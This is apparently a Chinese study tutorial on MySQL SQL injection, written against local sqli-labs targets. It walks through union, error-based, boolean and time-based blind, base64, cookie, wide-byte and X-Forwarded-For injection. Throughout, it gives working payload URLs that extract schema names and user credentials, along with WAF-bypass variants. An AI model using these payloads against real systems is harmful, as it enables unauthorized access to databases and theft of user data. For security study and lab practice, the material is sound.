
SQL 注入(MySQL)
本文最后更新于 2025-07-08,文章内容可能已经过时。
💉SQL 注入原理
核心:危险函数 + 用户可控输入
本质:攻击者通过构造恶意 SQL 语句,篡改原始 SQL 语义,使数据库执行非预期操作。
根本原因:
-
动态拼接 SQL 时未校验用户输入
-
未使用参数化查询等安全措施,
🔥SQL 的危害
危害类型 | 具体场景 |
---|---|
敏感数据泄漏 | 获取数据库信息、用户凭证 |
权限绕过 | 能密码绕过登录验证 |
恶意操作 | 篡改数据、删库、挂马 |
系统控制 | 执行系统命令、文件操作 |
📌 注入点分类
按请求位置
-
GET参数
、POST表单
、Cookie
、HTTP
头(如X-Forwarded-For
)
按变量类型
类型 | 示例 SQL | 判断方法 |
---|---|---|
数字型 | SELECT * FROM users WHERE id=$id | id=1/0 异常 → 数字型 |
字符型 | SELECT * FROM users WHERE id='$id' | id=1'AND'1'='2 异常 → 字符型 |
括号型 | SELECT * FROM users WHERE id=($id) | 需闭合括号 |
✅ 判断技巧:通过运算 (1/0)、-- 逻辑 (AND 1=1)、引号闭合测试触发异常。
📊MYSQL 常用表
从 MySQL 5 开始,MySQL 自带 information_schema 数据库,它提供了访问数据库元数据的方式。
columns、tables、schemata
🎈information_schema 结构
information_schema
|_schemata # 所有数据库
|_schema_name # 数据库名
|_tables # 所有表名
|_table_schema # 表所属数据库名
|_table_name # 表名
|_columns # 所有字段信息
|_table_schema # 字段所属数据库名
|_table_name # 字段所属表名
|_column_name # 字段名
🎈数据库命令行操作
# 认证登录
mysql -u root -p
# 批量执行SQL文件
mysql -u root -p dbname < script.sql
# 核心操作命令
CREATE DATABASE sec_db; -- 创建数据库
USE sec_db; -- 切换数据库
SHOW TABLES; -- 显示所有表
DESC users; -- 查看表结构
SOURCE /path/to/backup.sql; -- 导入SQL文件
🎈图形化管理工具
工具名称 | 路径 / 地址 | 特点 |
---|---|---|
Navicat | D:\Navicat_Premium_16\navicat.exe |
多数据库支持,数据可视化,商业级 |
phpMyAdmin | http://127.0.0.1/phpMyAdmin4.8.5 |
基于 Web,免费开源,需 PHP 环境 |
Adminer | http://127.0.0.1/adminer.php |
单文件 PHP 工具,轻量级(仅 150KB) |
SQL Front | F:\phpstudy_pro\Extensions\SQL_Front5.3\SQL-Front.exe |
轻量客户端,适合本地快速管理 |
⚠️ 安全建议:生产环境禁用 root 远程登录,Adminer 应设置访问密码
🔎Mysql 重要函数说明
🎈1. ORDER BY
- 列探测
功能:order by 后面加数字,代表以第几列进行排序,若填没有的列会报错,以此来确认有多少列数据
/* 判断查询结果的列数 */
select * from users where id=1 order by 3 # 第一次猜3若显示正常,说明至少有3列
select * from users where id=1 order by 4 # 第二次猜4发现报错,说明有3列
🎈2. UNION
- 联合查询
要求:
-
列数相同
-
数据类型兼容
-
字符集一致
功能:确定列数后可以通过此函数找到注入点
/* 联合注入核心语法 */
SELECT * FROM products
UNION
SELECT 1, DATABASE(), VERSION() -- 字段数必须匹配
🎈3. GROUP_CONCAT()
- 数据聚合
功能:在一个字段中显示所有内容
参数:
-
SEPARATOR
:自定义分隔符(默认,
) -
最大长度受
group_concat_max_len
限制
# 聚合函数
select * from users where id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- '
-- 单字段显示所有结果
SELECT GROUP_CONCAT(username) FROM users
-- 多字段组合显示
SELECT GROUP_CONCAT(id, ':', username SEPARATOR '; ')
FROM users
🎈4. LIMIT
- 结果分页
功能:限制查询显示的数据量
SELECT * FROM logs LIMIT 10; -- 前10条
SELECT * FROM logs LIMIT 5, 10; -- 第6-15条
盲注应用:
SELECT column_name FROM information_schema.columns
LIMIT 0,1 -- 逐行提取数据
🎈5. 字符串处理函数
函数 | 语法 | 功能 | 注入用途 |
---|---|---|---|
SUBSTR() | SUBSTR(str,pos,len) | 字符串截取 | 逐字符爆破数据 |
RIGHT() | RIGHT(str,len) | 右端截取 | 配合长度判断 |
LOWER() | LOWER(str) | 转小写 | 大小写统一处理 |
ORD() | ORD(char) | 转 ASCII 码 | 盲注字符判断 |
LENGTH() | LENGTH(str) | 长度计算 | 判断数据规模 |
🎰回显注入(联合注入)
🎈第一步:寻找注入点
位置:用户交互接口(URL 参数、搜索框、表单等)
测试方法:
# 原始URL(疑似注入点)
http://127.0.0.1/sqli-labs/Less-1/?id=1
# 添加单引号触发报错(确认漏洞)
http://127.0.0.1/sqli-labs/Less-1/?id=1' → 页面异常
🎈第二步:判断注入类型
类型 | 测试方法 | 特征 | 闭合方式 |
---|---|---|---|
数字型 | id=1/1 → 正常;id=1/0 → 内容消失 | 数字运算改变结果 | 无需闭合 |
字符型 | id=1/0 → 无变化 | 引号包裹用户输入 | '--+ /') --+ 等 |
# 字符型闭合方案(常用)
http://127.0.0.1/sqli-labs/Less-1/?id=1' # # 井号闭合
http://127.0.0.1/sqli-labs/Less-1/?id=1' --+ # 单引号闭合
http://127.0.0.1/sqli-labs/Less-1/?id=1') --+ # 括号+单引号闭合
🎈第三步:判断字段数(ORDER BY)
二分法:设猜测列数为 x,若不是则 x/2,再不是则猜测新 x 值为 x/2/2..... 以此类推
通过 order by
函数对字段(列)数量进行判断进而找出合适的注入点
技巧:
-
从较大数开始(如 10)快速缩小范围
-
报错信息:
Unknown column '4' in 'order clause'
?id=1' ORDER BY 5 --+ → 报错
?id=1' ORDER BY 3 --+ → 正常 → 确认3列
🎈第四步:联合查询(UNION)
在第三步中我们判断出了字段数量,此时则可以通过 union
函数找到合适的注入点,并且有需要时我们要抑制正常的页面
核心目标:定位回显位 + 抑制原始内容
# 基础联合查询
?id=1' UNION SELECT 1,2,3 --+
# 抑制原始结果的5种方法
1. ?id=-1' UNION SELECT 1,2,3 --+ # 负ID(推荐)
2. ?id=999999' UNION SELECT 1,2,3 --+ # 超大ID
3. ?id=1' AND 1=2 UNION SELECT 1,2,3 --+ # 永假条件
4. ?id=1' AND 0 UNION SELECT 1,2,3 --+ # 逻辑阻断
5. ?id=1' AND FALSE UNION SELECT 1,2,3 --+
🎈第五步:获取数据库名
在上一步找到注入点后我们需要对注入点进行注入
# 当前数据库名 → 显示在回显位2
?id=-1' UNION SELECT 1,database(),3 --+
# 所有数据库名 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3
FROM information_schema.schemata --+
结果示例:
information_schema, mysql, performance_schema, security
🎈第六步:获取表名
利用 information_schema 查询数据表名称
# 当前库所有表 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables
WHERE table_schema=database() --+
结果示例:
emails, referers, uagents, users
🎈第七步:获取字段名
利用 information_schema 查询字段名称
# users表所有字段 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3
FROM information_schema.columns
WHERE table_schema=database()
AND table_name='users' --+
结果示例:
id, username, password
🎈第八步:查询数据
对字段进行查询
# 获取users表全部数据(格式化输出)
?id=-1' UNION SELECT 1,
GROUP_CONCAT(id, '---', username, '---', password SEPARATOR '<br>'),3
FROM users --+
输出示例:
1---Dumb---Dumb
2---Angelina---I-kill-you
3---Dummy---p@ssword
...
🎈 高阶技巧
1. 绕过单引号限制
# HEX编码表名
AND table_name=0x7573657273 -- 'users'的HEX
2. 处理字段数不一致
# 填充NULL匹配列数
UNION SELECT NULL,username,NULL FROM users
3. 快速数据导出
# 直接生成SQL语句
UNION SELECT 1,
CONCAT('INSERT INTO users VALUES(',id,',"',username,'","',password,'")'),3
FROM users
4. 防御规避方案
# 注释符变体(绕过WAF)
--+ → # → /*注释*/ → --%20
⛔报错注入
如果 WEB 应用把 SQL 注入的报错信息返回到客户端,那么可以通过构造特殊的错误语句并通过返回的 错误信息盗取数据。
要求:要有报错信息,必须是数据库报错
🎈xpath 报错
xml 文档当中提取数据,限制为 32 个字符
http://wsl:32769/sqli/error.php?username=test'
http://wsl:32769/sqli/error.php?username=test'
🎈函数
-
concat()
select * from users where username='test' and updatexml(1,concat(0x7e,0x7e,database(),0x5e),1)#'
select mid(database(),2,2)
-
mid()
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,database(),0x5e),1)--+
-
substr()
-
substring()
🎈判断注入点、注入类型
查询数据库名
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)--+
数据:~users,winfo,wresetpass,xss^
🎈查询数据表名
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5e),1)--+
#数据:~id,username,password,email,addr 此处数据获取不完全
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32)),0x5e),1)--+
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),25,32)),0x5e),1)--+
#数据:~il,address^ 使用切片将未显示数全
🎈查询字段名
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select substr((select group_concat(id,username,password) from test.users),1,32)),0x5e),1)--+
🧬布尔盲注
页面只回显真、假
🎈函数
ascii 96~122 小写字母
-
min()
-
substr()
-
substring()
-
lower
-
length() 获取字符长度
-
left() 从左开始截取
-
rigth() 从右开始截取
-
lower()
id()/substr()/substring()
select mid(database(),2,2)
ord()/ascii()
select ascii(mid(database(),1,1))
length()
select length(database())
char()
select char(110)
count()
select count(*) from users
left()/right()
select left(database(),2)
select right(database(),3)
lower()
select lower('ADwdaAWD')
limit
select * from users limit 0,1
select * from users limit 1,2
🎈判断注入点 / 类型
http://wsl:32769/sqli/boolean.php?id=1/1 # 正常
http://wsl:32769/sqli/boolean.php?id=1/0 # 正常,初略判断为字符类型
http://wsl:32769/sqli/boolean.php?id=1' --+ # 为字符类型
🎈判断当前数据库长度
http://wsl:32769/sqli/boolean.php?id=1' and length(database())>4-- -
http://wsl:32769/sqli/boolean.php?id=1' and length(database())>3 -- -
http://wsl:32769/sqli/boolean.php?id=1' and length(database())=4 -- - # 判断当前数据库名长度为4个字符
🎈判断当前数据库名
http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),1,1))=116 -- - # 判断出当前数据库名的第一个字符为t
http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),2,1))=101 -- - # 判断出当前数据库名的第二个字符为e
🎈判断当前数据表个数
select table_name from information_schema.tables where table_schema=database()
select count(table_name) from information_schema.tables where table_schema=database()
(select count(table_name) from information_schema.tables where table_schema=database())>1
http://wsl:32769/sqli/boolean.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 -- - # 判断出当前数据库一共有4张表
🎈判断当前数据表长度
select table_name from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
select length(table_name) from information_schema.tables where table_schema=database() limit 2,1
select length(group_concat(table_name)) from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1
http://wsl:32769/sqli/boolean.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1 -- - # 当前数据库的第一张表一共有5个字符
🎈判断当前数据表名称
select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 0,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) -- - # 判断出当前数据库的第一张表的第一个字符为u
http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117) -- -
🎈判断字段个数
select count(column_name) from information_schema.columns where table_schema=database() and table_name='users'
http://wsl:32769/sqli/boolean.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 -- - # 判断出当前数据库的第一张users表的字段个数为5
🎈判断字段长度
http://wsl:32769/sqli/boolean.php?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1 -- -
🎈判断字段名称
select column_name from information_schema.columns where table_schema=database() and table_name='users'
select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1
select substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1)='u'
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96
http://wsl:32769/sqli/boolean.php?id=1' and (select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96) -- -
🎈判断数据
🎈BP 爆破实现布尔盲注
⏱️时间盲注
在布尔盲注基础上,无论页面对错只回显一种情况,需要对数据库进行延时操作
select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 2,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96
select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96),sleep(2),0)
http://wsl:32769/sqli/time.php?id=1 and (select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=119),sleep(2),0))
💥其他类型注入
🎈base64 注入
服务端对 URL 传入的参数进行了 base64 编解码时
MQ%3d%3d
MQ==
1
1/0 MS8w
-1 union select 1,2,3,4
http://wsl:32769/sqli/base64.php?id=LTEgdW5pb24gc2VsZWN0IDEsMiwzLDQ=
🎈Cookie 注入
参数由 Cookie 进行传递时
# 在请求头实现/插件
Cookie: id=1 order by 5
🎈宽字节
参数使用 gbk 编码,所以无法正常注入,此时注入需要支持中文字符
GBK 编码(页面 + 数据库)如果前面的 ascii 码大于 128,mysql 就会将两个字符视为一个汉字
一个汉字占两个字节(首字节 - 尾字节)例如 :%df%df
1'
1\'
>128
十进制130,转纯16进制,带上%
1%df'
1%df\'
1%df%5c%27
http://wsl:32769/sqli/kzj.php?id=-1%81%27%20union%20select%201,2,3,4,5--+
🎈XFF 头注入
要求:服务端使用 X-Forwarded-For 头进行参数传递时
X-Forwarded-For: 192.168.1.4'